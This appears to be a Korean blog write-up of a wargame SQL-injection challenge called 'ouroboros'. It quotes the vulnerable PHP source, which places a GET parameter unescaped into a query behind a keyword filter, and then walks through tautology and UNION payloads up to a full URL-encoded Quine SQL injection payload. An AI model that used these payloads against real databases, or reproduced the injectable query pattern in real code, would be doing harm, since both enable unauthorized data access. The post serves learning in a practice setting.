<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");
highlight_file(__FILE__);
?>
1.
if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
🔹 $_GET[pw]
파라미터 필터링
❌ prob
, _
, .
, rollup
, join
, @
, /i (대소문자를 구분하지 않음)
💙 rollup
💙 join
.join(list)
, '구분자'.join(list)
pw=' or '1'= '1 #
흠. pw를 참으로 만들어봤지만 아무것도 나오지 않았다.
$result[pw] = $_GET[pw] 가 같아야 한다. 참을 입력할 때 정상적으로 출력이 될 것 같았는데, 왜 안되는걸까?
pw=' union select '1 #
pw=' union select 'hello #
흠. 테이블안에 값이 없으면 Union문
을 이용해 원하는 값을 출력할 수 있다고 한다. 1
과 hello
를 넣었더니 그대로 출력되는 걸 보면, pw값이 현재 아무것도 없다는 의미같다.
여러시도를 해봤지만, 답이 안나와서 다른 블로그들을 확인해보니
여기선, Quine
SQL Injection을 사용해야 한다.
⭐ Quine이란?
자기 복제
하는 프로그램🌟 Quine Query
Quine query의 대표적인 MySQL문은 아래와 같다.
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")');
char(34)
: "
char(39)
: '
char(36)
: $
이 구문의 $
는 서식문자로 보인다.
서식문자: 출력하고자 하는 변수의 출력 형태를 지정하기 위해 사용
pw=' union select replace(replace('" union select replace(replace("$",char(34),char(39)),char(36),"$")%23',char(34),char(39)),char(36),'" union select replace(replace("$",char(34),char(39)),char(36),"$")%23')%23
#
으로는 안먹혀서 %23
으로 URL 인코딩을 넣어주니 문제를 성공적으로 풀 수 있었다.
이번 문제는 진짜 너무 너무 어려웠던 것 같다. 완벽하게 이해하지 못해서 아쉽다랄까..?